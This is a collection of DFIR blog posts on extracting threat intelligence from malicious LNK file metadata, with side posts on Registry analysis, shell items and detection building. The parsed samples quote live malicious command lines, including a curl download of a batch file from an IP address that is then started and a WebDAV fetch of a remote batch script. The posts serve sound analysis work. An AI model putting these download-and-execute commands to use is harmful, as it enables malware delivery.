LNK Metadata

I ran across this Ctrl-Alt-Intel blog post today, which discusses RustGate v2, and noticed that for all of what was addressed in the blog, there wasn't a great deal of content  regarding the delivery method, the LNK file itself. Figure 1 illustrates what the blog states regarding LNK file metadata, beyond the embedded command line.

Figure 1: Blog excerpt

Okay, but what else can we see from the LNK structure itself? What other IOCs or intelligence can we derive from the file?

guid               {00021401-0000-0000-c000-000000000046}
mtime              Tue Dec  2 04:34:13 2025 Z
atime              Fri Jan  9 09:03:22 2026 Z
ctime              Tue Dec  2 04:34:13 2025 Z
workingdir         C:\Windows\Temp               
basepath           C:\Windows\System32\rundll32.exe
shitemidlist       My Computer/C:\/Windows/System32/rundll32.exe
**Shell Items Details (times in UTC)**
  C:2024-04-01 07:21:18  M:2026-01-05 04:18:54  A:2026-01-09 08:27:14 Windows  (9)  [3515/1]
  C:2024-04-01 07:21:18  M:2026-01-07 04:34:52  A:2026-01-09 08:36:44 System32  (9)  [5285/1]
  C:2025-12-02 04:34:14  M:2025-12-02 04:34:14  A:2026-01-09 08:12:16 rundll32.exe  (9)  
vol_sn             12D9-A76E                     
vol_type           Fixed Disk                    
commandline        shell32.dll,ShellExec_RunDLL "cmd.exe" "start /min /c curl -o C:\Windows\Temp\test.bat 5.252.177.210:8090/test.bat && start /b C:\Windows\Temp\test.bat
iconfilename       C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
hotkey             0x0                             
showcmd            0x7                             

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|EnableTargetMetadata|HasIconLocation

***PropertyStoreDataBlock***
GUID/ID pairs:
{28636aa6-953d-11d2-b5d6-00c04fd918d0}/30     ParsingPath: C:\Users\Public\Pictures
{446d16b1-8dad-4870-a748-402ea43d788c}/104    VolumeID: {c9e64587-f01c-409d-92c3-497067a5e2ef}
{46588ae2-4cbc-4338-bbfc-139326986dce}/4      SID: S-1-5-21-2202213833-2675363039-2741304641-1002
{b725f130-47ef-101a-a5f1-02608c9eebac}/10     ItemNameDisplay: Public Pictures
{b725f130-47ef-101a-a5f1-02608c9eebac}/14     DateModified: Thu Jan  1 10:55:10 2026 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/15     DateCreated : Mon Apr  1 07:26:08 2024 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/4      ItemType: File folder
{dabd30ed-0043-4789-a7f8-d013a4736622}/100    ItemFolderPathDisplay: Public (C:\Users)

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

***TrackerDataBlock***
Machine ID            : server
New Droid ID Time     : Thu Jan  8 04:39:44 2026 UTC
New Droid ID Seq Num  : 8270
New Droid    Node ID  : 00:50:56:c0:00:08
Birth Droid ID Time   : Thu Jan  8 04:39:44 2026 UTC
Birth Droid ID Seq Num: 8270
Birth Droid Node ID   : 00:50:56:c0:00:08

As stated in the blog, we can see the Machine ID value, the MAC address, the folder path, and the embedded command line. But there's more available than just those metadata values.

On 5 Dec 2016, JPCERT/CC published a blog post that describes how LNK metadata can provide insight into a threat actor's development environment, and showed what clustering might look like. 

In Nov 2018, then-Mandiant analysts shared insight into Cozy Bear/APT29 phishing campaigns, and in figures 5 & 6, showed how they analyzed LNK metadata between two different campaigns to develop insight into threat actor activity. Tracking multiple LNK files and linking them via identical metadata allows us to do the same, and doing so allows us to develop the same, and additional, insights. 

Looking at the above output, we see multiple data blocks, something that can provide insight into how the LNK file was created. Different tools/methods for creating LNK files provide different metadata content within the LNK file. We also see that all of the metadata is full, completely populated; none of the values are zero'd out. This indicates that the threat actor didn't use a method to create or modify the LNK to remove these values. 

It's pretty clear that LNK files are still widely used as a delivery mechanism; however, threat intel analysts do not appear to be widely tracking them, listing command lines and maybe a file hash in their reports, but little else. Anything a threat actor sends you or makes available is "free money" when it comes to tracking or developing detection opportunities, and we should be taking full advantage of that. 

Thanks to @Ctrl-Alt-Intel for providing a copy of the LNK file for parsing.

Intel in LNK Files

I was reading a pretty interesting write-up from Seqrite regarding, in part, the use of pseudo-polyglot documents. In this case, delivery occurred via ZIP archive that contains an LNK file and a PNG file. The PNG file is pseudo-polyglot file in question; the binary contents contain a series of commands to be executed via ftp.exe, followed by what appears to be a PDF document. The attack is initiated when the target user double clicks the LNK file; I'll leave the rest of the description to the author. I will say that I'm not used to the author's writing style, so it took me a bit of effort to get used to it, and to get a better view of what the author was trying to share. 

However, what did interest me more was that the threat actor's efforts included an LNK, something that had to be created on the threat actor's infrastructure before it was included in the archive. As such, from an intel perspective, LNK files are "free money", and something I've talked about here in this blog more than a few times.

Using the hash provided in the write-up, I was able to find a sample to download and parse myself. The LNK file itself had very little actual metadata beyond what was shared in the write-up, but that was still very interesting to me.

Take a look at the full set of metadata:

guid               {00021401-0000-0000-c000-000000000046}
shitemidlist       My Computer/C:\/Windows/system32/cmd.exe

**Shell Items Details (times in UTC)**
  C:0                   M:0                   A:0                  Windows  (9) 
  C:0                   M:0                   A:0                  system32  (9) 
  C:0                   M:0                   A:0                  cmd.exe  (9)  

commandline        /c ftp.exe -s:"offsec-certified-professional.png"
iconfilename       %ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe
hotkey             0x0                             
showcmd            0x1                             

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasArguments|HasIconLocation

***PropertyStoreDataBlock***
GUID/ID pairs:
{46588ae2-4cbc-4338-bbfc-139326986dce}/4      SID: S-1-5-21-1526495471-1806070692-3097244026-1000

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

We can see that the shell item time stamps are zero'd out, there's no machineID or NetBIOS name listed, no volume serial number, etc. The dearth of metadata can be just as important, or even more so, than when an LNK file contains much more metadata. My most recent blog post on LNK file metadata, prior to this post, illustrates an LNK file that is rife with metadata. 

So, the LNK file used in the Seqrite campaign may be the result of using a specific tool to create the LNK file, or it may be the result of applying a process to the LNK file, after it was created, to "scrub" a lot of the metadata that we might expect to see. Either way, tracking this information can be very valuable for CTI teams, as the available metadata tells us something about the adversary. Also, strings such as the SID shown can be used to search for other, similar samples, in an effort to round out the adversary's intel picture.

Registry Analysis

First off, what is "analysis"?

I submit that "analysis" is what happens when an examiner has investigative goals and context, and applies this, along with their knowledge and experience, to a data set. This can be anything, from a physical image of a mobile device, to a triage collection from an endpoint, to logs from a device, or various devices. 

IMHO, this distinction is valuable, because what we often call "analysis" is really nothing more than parsing. For example, someone may recommend (or state as part of their process) that we open a Registry hive in a viewer, and navigate to a particular path by clicking through the UI. Now, there are ways that this could be accomplished in a much more efficient manner (I didn't say "easier", because the command line isn't "easier" for some), but in the end, looking for one value, dumping all of the values from a user's Run key is still just parsing; there's no "analysis" unless the investigator can articulate how this action and their finding applies to their goals. 

Registry Analysis
That being said, again...what we most often think of, or refer to as "Registry analysis" really amounts to nothing more than simple parsing. Few are actually conducting analysis of the files that comprise the Windows Registry, largely because the knowledge of and experience with these files is often somewhat limited. For example...and you don't need to raise your hands...but how many analysts are incorporating Registry hive file metadata into timelines? Or incorporating deleted keys and values in their overall analysis plan?

The Windows Registry includes a great deal of information related to the configuration of the endpoint, and for each user, contains information related to that user's activities. Not only does the Registry contain considerable metadata, but some of the values found within the Registry can contain valuable information regarding pre-existing states/conditions of the endpoint. For example, what we refer to as "shellbag" artifacts are comprised of shell items, strung together in shell item ID lists. Some of these shell items themselves contain considerable metadata, such as time stamps from folders, preserved at the time the "shellbag" artifacts were created. 

Something else to consider is that very often, information stored in the Registry will persist beyond the point where applications and files are deleted/removed from the endpoint. 

Over the years, the Windows Registry has gone through changes, but the analysis process remains the same, in part, because the binary format of the Registry remains consistent. What we traditionally refer to as "Registry analysis" now extends beyond "the usual" hive files that make up the Windows Registry, to the AmCache.hve file, as well as similarly formatted files associated with AppX packages. Ogmini's recent blog post regarding Registry hives associated with AppX packages references/points to Mari's ZeroFox blog on the topic, as well as Chris's Cyber Triage contribution, in addition to discussing sources beyond the "traditional" Registry. 

As these files are of the same format, there's no reason to believe that what we learned about the traditional hive files...metadata, what constitutes a "deleted" key or value, etc...needs to change when it comes to these files, as well. We can parse them for keys and values, such as looking for the recently accessed documents in the AppX version of Notepad or WordPad, just as we can parse these files into a timeline.

Parting Thoughts
Limitations or shortcomings in knowledge and experience of individual analysts can (and does) lead to the analysis and intel "poverty", and the shortcomings have a cascading impact. To overcome these, we need to work together, in mentor/mentee relationships, to build better, more applicable processes that allow us to fill these gaps. Operationalizing "corporate" knowledge for the long term is the key to this, as knowledge is shared without the requirement for commensurate experience. 

Ransomware artifacts

I recently read through this FalconFeeds article on Qilin ransomware; being in DFIR consulting for as long as I have, and given how may ransomware incidents I've responded to or dug into, articles with titles like this attract my attention. I do not presume to know everything, and in fact, I'm very interested in the insights others provide based on their own investigations. As such, articles like this grab my attention. 

As I read through the article, however, I become somewhat confused. Consider this quote from article:

On closer examination, it is likely that the individual behind the Stack Overflow post was an infected victim rather than an attacker. This assessment is supported by the fact that another IP address 107[.]167[.]93[.]118 was observed with the same machine name (WIN-8OA3CCQAE4D) and identical configuration details. Such consistency across multiple, unrelated systems strongly indicates that the exploit automatically renames compromised hosts, leaving behind a uniform system identifier that inadvertently exposed itself in public forums. [emphasis added]

Okay, this statement is interesting. At work/day job, for example, we've observed this workstation name a number of times, with different IP addresses. Again, these have been observed at different times, so the thinking is that either a threat actor used different means to connect to the Internet, or the workstation with the NetBIOS name/machineID is a virtual machine shared by several individuals. I think what really threw me was the statement "...the exploit..."; while the word "exploit" is mentioned several times in the article, there's nothing that clearly delineates what that exploit is, nor how it was discovered or defined.

Later in the blog post, we see the section illustrated in Figure 1.

Figure 1: Blog excerpt

If I read the blog post correctly, the author's findings include the fact that the target victim is sent an LNK file by the threat actor; this is illustrated in Figure 2.

Figure 2: Blog excerpt

As anyone who's followed my work for any amount of time is aware, I'm very interested in LNK files, and not just from the perspective of parsing them, but more so, using the embedded metadata (or lack thereof, as the case may be) to develop threat intelligence. As JP/CERT pointed out a long time ago, there's a lot that an LNK file sent to a target can tell us about the developer's workstation, including the machine ID/NetBIOS name. So far, to my knowledge, the only folks to make full use of LNK metadata to develop threat intelligence is Mandiant, in their Nov 2018 write-up on APT29 (see fig. 5 & 6).

That being said, we know that many methods/APIs for creating LNK files automatically include the workstation name where the file is created in the LNK metadata. Since this affiliate is known (see Figure 2) to gain initial access to victim endpoints by sending a malicious LNK file, we know that the LNK file itself is not created on the target endpoint; as such, there is no reason to assume that there's an "exploit" that changes the name of impacted endpoint. 

While this is not something I've ever seen, nor heard of (again, I'll be the first to tell you that I don't know everything...), that doesn't mean that it's impossible. This definitely could happen, but the evidence presented doesn't hold up in the face of artifact knowledge and experience.

Using information from the FalconFeed article, I was able to locate and download a copy of the LNK file (MD5: 30fc1856c9e766a507015231a80879a8) and run it through my own LNK parser, and I got the following output:

guid               {00021401-0000-0000-c000-000000000046}
mtime              Fri Jan  3 15:02:21 2025 Z
atime              Fri Jan  3 15:02:21 2025 Z
ctime              Fri Jan  3 15:02:21 2025 Z
basepath           C:\Windows\System32\cmd.exe   
shitemidlist       My Computer/C:\/Windows/System32/cmd.exe
**Shell Items Details (times in UTC)**
  C:2021-05-08 08:06:52  M:2025-02-05 09:50:22  A:2025-02-05 09:50:22 Windows  (9)  [530/1]
  C:2021-05-08 08:06:52  M:2025-01-28 21:48:18  A:2025-01-28 21:48:18 System32  (9)  [3286/1]
  C:2025-01-03 15:02:22  M:2025-01-03 15:02:22  A:2025-01-03 15:02:22 cmd.exe  (9)  
vol_sn             A409-2302                     
vol_type           Fixed Disk                    
commandline        /c "\\cayman-inter-descending-processed.trycloudflare.com@SSL\DavWWWRoot\kma.bat"
iconfilename       %SystemRoot%\System32\SHELL32.dll
hotkey             0x0                             
showcmd            0x7  

                           
***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasLinkInfo|HasArguments|EnableTargetMetadata|HasIconLocation|HasRelativePath

***PropertyStoreDataBlock***
GUID/ID pairs:
{28636aa6-953d-11d2-b5d6-00c04fd918d0}/30     ParsingPath: C:\Users\Village Manor 2022\Desktop\osha3165 - Copy.pdf
{446d16b1-8dad-4870-a748-402ea43d788c}/104    VolumeID: {ad378747-1bfd-4172-b598-a876b80c03d9}
{b725f130-47ef-101a-a5f1-02608c9eebac}/10     ItemNameDisplay: osha3165 - Copy.pdf
{b725f130-47ef-101a-a5f1-02608c9eebac}/12     Size: 16040764
{b725f130-47ef-101a-a5f1-02608c9eebac}/14     DateModified: Tue Jul 17 20:17:44 2012 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/15     DateCreated : Thu Feb  6 07:34:38 2025 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/4      ItemType: Microsoft Edge PDF Document
{e3e0584c-b788-4a5a-bb20-7f5a44c9acdd}/6      ItemFolderPathDisplay: C:\Use

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

***TrackerDataBlock***
Machine ID            : win-8oa3ccqae4d 
New Droid ID Time     : Fri Jan 31 14:29:24 2025 UTC
New Droid ID Seq Num  : 5988
New Droid    Node ID  : e0:09:88:3d:81:23
Birth Droid ID Time   : Fri Jan 31 14:29:24 2025 UTC
Birth Droid ID Seq Num: 5988
Birth Droid Node ID   : e0:09:88:3d:81:23

From the above output, and looking back to the Mandiant article, we can see a great deal about the developer's endpoint, including the workstation name "win-8oa3ccqae4d". We can also see a great deal of information that can likely be applied to the campaign, and by extension, be used to flesh out and provide context to both intrusion and threat intelligence.

However, it seems clear that the author of the FalconFeeds article is missing some knowledge of Windows artifacts and file structures. Running an LNK file through ANY.RUN is a method to use, but it should not be the only method that's used to develop information from that artifact. This also supports my thoughts CTI teams would benefit from a deep digital analysis skill sets, to develop and interpret artifacts from various systems and endpoints in a more thorough, correct manner. 

UEPOTB, LNK edition

A while back, Jesse Kornblum published a paper titled, "Using Every Part of the Buffalo in Windows Memory Analysis". This was, and still is, an excellent paper, based on it's content and how it pertained to the subject (Windows memory analysis). However, what Jesse shared in that paper had additional value, in that it he expressed the idea of using everything available to the analyst.

Since then, we've seen more than a few papers, blog posts and articles where the author(s) go only so far with the extent of what they share regarding the data they're looking at, and do not truly use all the parts of the buffalo. Examples of these include blog posts or articles where LNK files are delivered as part of a phishing campaign, and the author only goes so far as to show the basic properties of the LNK file, perhaps up through the command line, but then stopping there.

Now and again, we do see articles published by teams that truly do strive to use all the parts of the buffalo, leveraging everything they have available, but those are still few and far between. Perhaps one of the most notable examples is a Mandiant article from 19 Nov 2018 that referred to a phishing campaign (using LNK files) by APT29/"Cozy Bear". In the article, the authors compare activity from a similar campaign from 2016, using LNK files from the previous campaign (see figures 5 & 6).

One such example of where the content falls short is a recent blog post from Cyble. The article contains references to three LNK files using in phishing campaigns, each illustrated in the article by opening the file via the Properties tab, as seen in figure 1. This shows specific elements of the LNK file, but only those visible via the Properties tab. 

Figure 1: LNK Properties

What we see in figure 1 also shows that the author(s) had access to the LNK files themselves, and could have done so much more with them. 

Hashes for the LNK files are also listed in the IoCs table at the end of the article, and I was able to find one of the file available for download via another site online, and was able to extract the metadata illustrated in figure 2.

Figure 2: TrackerDataBlock

"christmas-destr" seems to be pretty unique workstation name, and might prove to be interesting in tracking and retro-hunts. And yes, if you do an OUI lookup on the node IDs shown in figure 2, they'll align with "VMWare, Inc.", which isn't surprising. 

Interestingly enough, the LNK file also contains a fairly well-populated PropertyStoreDataBlock, which isn't something we see in every LNK file, and can provide insight into how the shortcut file was "constructed". Different methodologies and tools for creating LNK files leave different toolmarks.

Taking things a step further, in addition to the information in the rest of the LNK file discussed above, we can see from figure 3 that the information within the file header and the shell item ID list can be fairly illuminating.

Figure 3: LNK header+

The original article was published on 19 Dec 2024, which provides some idea as to the timeframe of when the LNK file would have been deployed in a campaign, collected, and analyzed. Using the information illustrated in figure 3, we get some additional insight as to the timeframe specifically associated with the LNK file, particularly those time stamps within the shell items.

In addition to the volume serial number (i.e., "280C-1822"), the time stamps and MFT reference numbers extracted from the shell items provides additional indicators that can be used to align with LNK files from other campaigns. 

Another such example is a blog from Blackberry that discusses a Pakistani threat group dubbed "Transparent Tribe". I was able to find a couple of the LNK files listed in the appendix available for download, based on the provided hashes. What I found when comparing the metadata extracted from two LNK files was that aside from some minor differences, mostly in the command lines, they were nearly identical. Same volume serial number, same machine ID, same time stamps in the shell items, etc. In this case, the machine ID value was "desktop-e7n7e7f", which (a) should be compared across the other LNK files as well as other data sources, and (b) can be used along with other elements of metadata as part of a VirusTotal retro-hunt to expand the intelligence aperture even further, potentially associating the system with other campaigns. 

These LNK files also contained a PropertyStoreDataBlock, but rather than being as verbose as the previous example from the Cyble article, these LNK files simply contained a SID:

S-1-5-21-3861309104-3271506253-2070734288-1001

Okay, but so what? Why does any of this matter? 

Well, these indicators, when combined and added to other indicators, tell us a good bit about the operational processes of the threat actor, as well as the development environment and processes employed by the threat actor/group.

Beyond the basic indicators, the structure of the LNK file itself can tell us a good bit about how the LNK file was constructed, as well as the situational awareness of the actor or group. For example, there have been instances where the time stamps in the shell items have been zero'd out, essentially removing those indicators. However, I'd be careful about any assumptions made regarding a threat group's situational awareness or operational security based on metadata within LNK files; the simple fact is that this information is largely left unused by many firms, so why bother with the extra steps or work to remove the indicators?

Shell Items

I ran across a Cyber5W article recently titled, Windows Shell Item Analysis. I'm always very interested in not only understanding parsing of various data sources from Windows systems, but also learning a little something about how others view the topic. 

Unfortunately, there was very little actual "analysis" in the article, an excerpt of which is shown in figure 1.

Figure 1: Text from article

I'm not sure I can agree with that statement; tools, be they open source or commercial, tend to be very good at extracting, parsing, and presenting/displaying data, but analyzing that data really depends on the investigative goals, something to which tools are generally not privy. 

But we do see that quite often in the industry, don't we? We'll see something written up, and it will say, "...<tool name> does analysis of...", and this is entirely incorrect. Tools are generally very good at what they do; that is, parsing and displaying information, that an analyst then analyzes, in the context of their investigative goals, as well as other data sources and artifacts.

The rest of the article doesn't really dig into either the metadata embedded within shell items, nor the analysis of the various artifacts themselves. In fact, there's no apparent mention of the fact that there are different types of shell items, all of which contain different information/metadata. 

I've written quite a bit regarding Windows shell items embedded within various data sources. In fact, looking at the results of a search across this blog, there are more than a few posts. Yes, several of them are from 2013, but that's just the thing...the information still applies, when it comes to shell item metadata. Just because it was written a decade or more ago doesn't mean that it's "out of date" or that it's no longer applicable. 

While it is important to understand the nature and value of various data sources and artifacts, we must also keep in mind that tools do not do analysis, it's analysts and examiners who collect, correlate and analyze data based on their investigative goals.

Roll-up

One of the things I love about the industry is that it's like fashion...given enough time, the style that came and went comes back around again. Much like the fashion industry, we see things time and again...just wait.

A good example of this is the finger application. I first encountered finger toward the end of 1994,

during my first 6 months in grad school. I was doing some extracurricular research, and came across a reference to finger as making systems vulnerable, but it wasn't clear why. I asked the senior sysadmin in our department; they looked at me, smiled, and walked away.

Jump forward about 29 years to just recently, and I saw finger.exe, on a Windows system, used for data exfiltration. John Page/hyp3rlinx wrote an advisory (published 2020-09-11) describing how to do this, and yes, from the client side, what I saw looked like it was taken directly from John's advisory.

What this means to us is that the things we learn may feel like they fade with time, but wait long enough, and you'll see them, or some variation, again. I've seen this happen with ADSs; more recently, the specific MotW variations have taken precedence. I've also seen it happen with shell items (i.e., the "building blocks" of LNK files, JumpLists, and shellbags), as well as with the OLE file format. You may think, "...man, I spent all that time learning about that thing, and now it's no longer used..."; wait. It'll come back, like bell bottoms.

Deleted Things
In DFIR, we often say that just because you delete something, that doesn't mean that it's gone. For files, Registry keys and values, etc., this is all very true.

Scheduled Tasks
A while back, I blogged about an ops debrief call that I'd joined, and listened to an analyst discuss their findings from their engagement. At the beginning of the call, they'd mentioned something, almost in passing, glossing over it like it was inconsequential; however, some research revealed that it was actually an extremely high-fidelity indicator based on specific threat actor TTPs.

In many instances, threat actors will create Scheduled Tasks as a means of persisting on endpoints. In fact, not too long ago, I saw a threat actor create two Scheduled Tasks for the same command; one to run based on a time trigger, and the other to run ONSTART. 

In the case this analyst was discussing, the threat actor had created a Scheduled Task on a Windows 7 (like I said, this was a while back) system. The task was for a long-running application; essentially, the application would run until it was specifically stopped, either directly or by the system being turned off. Once the application was launched, the threat actor deleted the Scheduled Task, removing to the XML and binary task files; Windows 7 used a combination of the XML-format task files we see today on Windows 10 and 11 endpoints, as well as the binary *.job file format we saw on Windows XP.

Volume Shadow Copies
About 7 yrs ago or so, I published a blog post that included a reference to a presentation from 2016, and to a Carbon Black blog post that had been published in August, 2015. The short version of what was discussed in both was that a threat actor performed the following:

1. Copied their malware EXE to the root of a file system.
2. Created a Volume Shadow Copy (VSC).
3. Mounted the VSC they'd created, and launched the malware/Trojan EXE from within the mounted VSC.
4. Deleted the VSC they'd created, leaving the malware EXE running in memory.

I tried replicating this...and it worked. Not a great persistence mechanism...reboot the endpoint and it's no longer infected...but fascinating nonetheless. What's interesting about this approach is that if the endpoint hadn't had an EDR agent installed, all a responder would have available to them by dumping process information from the live endpoint, or by grabbing a memory dump, is a process command line with a file path that didn't actually exist on the endpoint. 

WSL
We've known about the Windows Subsystem for Linux (WSL) for a while. 

Not too long ago, an academic paper addressing WSL2 forensics was published illustrating artifacts associated with the installation and use of Linux distributions. The authors reference the use of RegRipper (version 3.0, apparently) in several locations, particularly when examining the System and Software Registry hives; for some reason, they chose to not use RegRipper to parse the AmCache.hve file. 

Now, let's keep our eyes open for a similar paper on the Windows Subsystem for Android...just sayin'...

Turning Open Reporting Into Detections

I saw this tweet from Ankit recently, and as soon as I read through it, I thought I was watching "The Matrix" again. Instead of seeing the "blonde, brunette, redhead" that Cypher saw, I was seeing actionable detection opportunities and pivot points. How you choose to use them...detections in EDR telemetry or from a SIEM, threat hunts, or specifically flagging/alerting on entries in DFIR parsing...is up to you, but there are some interesting...and again, actionable...opportunities, nonetheless.

From the tweet itself...

%Draft% is environment variable leading to PowerShell

Environment variables are good...because someone has to set that variable using...wait for it...w  a  i  t   f  o  r    i  t...the 'set' command. This means that if the variable is set via the command line, the process can be detected. 

Reads another registry value's base64 blob

Blobs are good...because they're usually of a particular value type (i.e., binary) and usually pretty big. I wrote the RegRipper sizes.pl plugin some time ago to address this exact issue, to find values of a certain size or larger.

If the blob isn't binary and is a base64-encoded string, there are a number of ways to detect strings that are base64 encoded.

What's not stated in the body of the tweet, but instead visible in one of the images is that the Run key value written for persistence has interesting data. First, the type is "REG_EXPAND_SZ", which may be a good detection opportunity. This may take some research to determine how prevalent it is in your environment, or in your customers environments, but Microsoft's documentation says that values within the Run key contain a "command line no longer than 260 characters". From this, we can assume that the value data are strings, and of type REG_SZ. For my own use, I've updated one of my RegRipper plugins to specifically look for instances where values in the Run key (HKLM or HKCU) are other than "REG_SZ" types.

Next, the command line itself has a number of unique items you can hunt on. Even if another attack changes the name of the key and value in which the data blob is stored, the command line still offers ample opportunities for detections.

If you don't have EDR telemetry available, try parsing the Microsoft-Windows-Shell-Core%4Operational Event Log, specifically event IDs 9707/9708. Or, if you're sending the data from that Windows Event Log to a SIEM, try searching on elements from within the command line.

The point of all this is that there is very often actionable info in open reporting, things that we can turn into detections via either EDR telemetry or SIEM searches, for threat hunting, or add to our automated DFIR parsing process as a means of retaining "corporate knowledge" and expanding the experience base of all analysts.

Changes In The Use Of LNK Files

Not long ago, I posted regarding how LNK files can be (ab)used; the post refers to LNK file metadata, and how, if the LNK file is sent by the threat actor, that metadata can be used to learn about the threat actor's environment. I first saw this mentioned by JPCERT in 2016, where they included an interesting graph (figure 1) in their post to illustrate the point.

Tony Lambert recently shared via his blog a change in Emotet TTPs, that the threat actor group had moved to using LNK files as an initial delivery mechanism. In the post, Tony described this as "a really interesting TTP change", and that it was "odd but not unexpected". Tony also shared a link to download a copy of the LNK file, as well as metadata parsed from the LNK sample via EXIFTool. I don't often use EXIFTool for this sort of metadata extraction, and I wanted to take a look for myself...here's what I found:

guid        {00021401-0000-0000-c000-000000000046}
shitemidlist    My Computer/C:\/Windows/system32/cmd.exe
**Shell Items Details (times in UTC)**
 C:0          M:0          A:0         Windows (9)  
 C:0          M:0          A:0         system32 (9)  
 C:0          M:0          A:0         cmd.exe (9)  
commandline    /v:on /c findstr "rSIPPswjwCtKoZy.*" Password2.doc.lnk > "%tmp%\VEuIqlISMa.vbs" & "%tmp%\VEuIqlISMa.vbs"
iconfilename    shell32.dll          
hotkey       0x0               
showcmd      0x1               

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasArguments|HasIconLocation|HasRelativePath

***PropertyStoreDataBlock***
GUID/ID pairs:
{46588ae2-4cbc-4338-bbfc-139326986dce}/4   SID: S-1-5-21-1499925678-132529631-3571256938-1001

***KnownFolderDataBlock***
GUID : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

At first glance, this may not seem odd to anyone; however, for me I can see that a great deal of the metadata that researchers would look to has been stripped from the LNK file.

I'm just going to let that soak in.

Okay, so...what we don't see in the above output, and what I verified visually (via UltraEdit), are time stamps. That's right...the time stamps in the LNK file header, as well as the time stamps in the shell items that comprise the relative path, have all been zero'd out. See the lines in the above output that build the path with the folders for "Windows" and "System32", and the file "cmd.exe"? All of these shell items, by default, include time stamps. However, for this LNK file, they're zero'd out.

Remember that JPCERT article from 2016? None of the items we'd expect to find in an LNK file, those elements of metadata mentioned in the JPCERT article...volume serial number, MAC address, machine ID/NetBIOS name...are available in this LNK file. I'm familiar with what it takes to get to this point, having constructed the smallest functioning LNK file (make_lnk.txt) that I could, and one that is missing these same elements of metadata.

For example, here's a sample from Astaroth, and here are samples of output from LNK files created using various native means. However, all of these LNK files, as well as the LNK files from figs 5 and 6 of the Mandiant APT29 report, contain these items of metadata. The one Tony found does not.

So, many thanks to Tony (LinkedIn, Twitter) for not only pointing out the change in Emotet TTPs, but for also sharing a publicly accessible link to the example LNK file. This was truly a fascinating find!

As a final thought, the lack of metadata does not mean that the same techniques to locate other, similar samples...create a Yara rule and submit as a VT retro-hunt...won't work. In fact, the dearth of the missing metadata (that would be a great title for a blog post series!!) is actually an indicator that we can use for a pretty solid search!

LNK Files, Again

What, again?!?!

I know, right?!?

Not long ago, I read this fascinating article from Joe Helle that discussed malicious uses for Windows shortcuts, or LNK files, and also discussed a Python3 scripts called "lnkbomb".

As a side note, check out what Joe had to share about persistence via WSL2!

As anyone who's followed me for a minute knows, I love...L   O   V   E...me some LNK files. Shortcut files are something that we see all the time, have been around for a long time (much like ADSs), but folks in the DFIR field are so focused on the "shiny hot newness", that this file type is very often overlooked and not fully exploited.

The technique Joe discusses is similar to modifying the iconfilename field of a shortcut file, so that even if the "bad guy" is evicted from an infrastructure, any action that launches the LNK file results in credentials being passed via HTTP or WebDAV, where they can be collected, cracked, and then used by the threat actor.

LNK files have a lot of uses, and understanding the format and structure is helpful in a lot of different ways. One example is that automatic JumpLists follow the OLE/structured storage format, and all but the DestList stream consist of LNK file formatted streams. Another example is that the building blocks of LNK files, shell items, are also the core building blocks of several Registry-based artifacts, such as shellbags.

Beyond that, however, threat actors have used LNK files as lures in social engineering and phishing attacks; this means that the threat actor has built the LNK files within their own infrastructure, within their own development environment. As such, sending these files as lures is "free money" to both DFIR and CTI analysts, if they're able to leverage those files and their component metadata.

So...while I know Windows 11 is out, and everyone's excited about the shiny new hotness, let's not forget that there's a lot that has worked since Windows XP (or even prior to that) and still continues to be an issue today.

Addendum, 12 Feb: After I published this post, Dr. Ali Hadi provided me with a link (get it??) to a site that talks about embedding an EXE in an LNK, with automatic execution. I've actually seen these "in the wild" before, but it's been a while! Thanks, Ali!

Tips for DFIR Analysts, pt VI

Context & Finding Persistence
I was looking into an unusual mechanism for launching applications recently, and that research brought back a recurring issue I've seen time and again in the industry, specifically pivoting from one data point to another based on knowledge of the underlying system.

Very often, during SOC monitoring or live response, we'll find a process executing via EDR telemetry (or some other means) and have no clear understanding of the mechanism that launched that process. Sometimes, we may have the data available to assist us in discovering the root cause of the process launch; for example, in the case of processes launched via web shell, all you need to do is trace backward through the process tree until you get to the web server process (i.e., w3wp.exe, etc.).

Other times, however, it's not so easy to do this, as the process tree proceeds back through the parent and grandparent processes with no clear indication of the source. In such cases, we may need to seek other sources of data, such as Windows Event Log records, to determine a system boot, or a user login to the system. Then, we may need the Windows Registry hive files, or file system data, to determine persistence mechanisms. What this means is that understanding the context of a suspicious process can help us pivot to determining the origin of the process launch, and that context can be determined by an event's proximity to other events.

Tools
Over time, I've seen tools...forensic analysis suites...evolve and include more "things". For example, Paraben's E3 application (version 2.8) includes parsing of data from the Registry, and I've seen analysts use Magnet Axiom to do something similar. ForenSafe blogs about the ArtiFast application, including screen shots of the information available from the Registry. This is all in addition to tools that specifically parse various data sources, such as Eric Zimmerman's Registry Explorer, and other tools.

What analysts need to remember is that these are just tools; it is still incumbent upon the analyst to correctly interpret the information presented by the tools. For example, this ForenSafe article discusses printer device information available in the Registry, and it appears to present the information for the analyst to interpret (as many tools do). How would you, as an analyst, use this information to determine if the printnightmare exploit had been used by a threat actor, or if a threat actor had enabled the "keep print job" functionality on the printer, as a means of staging data for exfiltration?

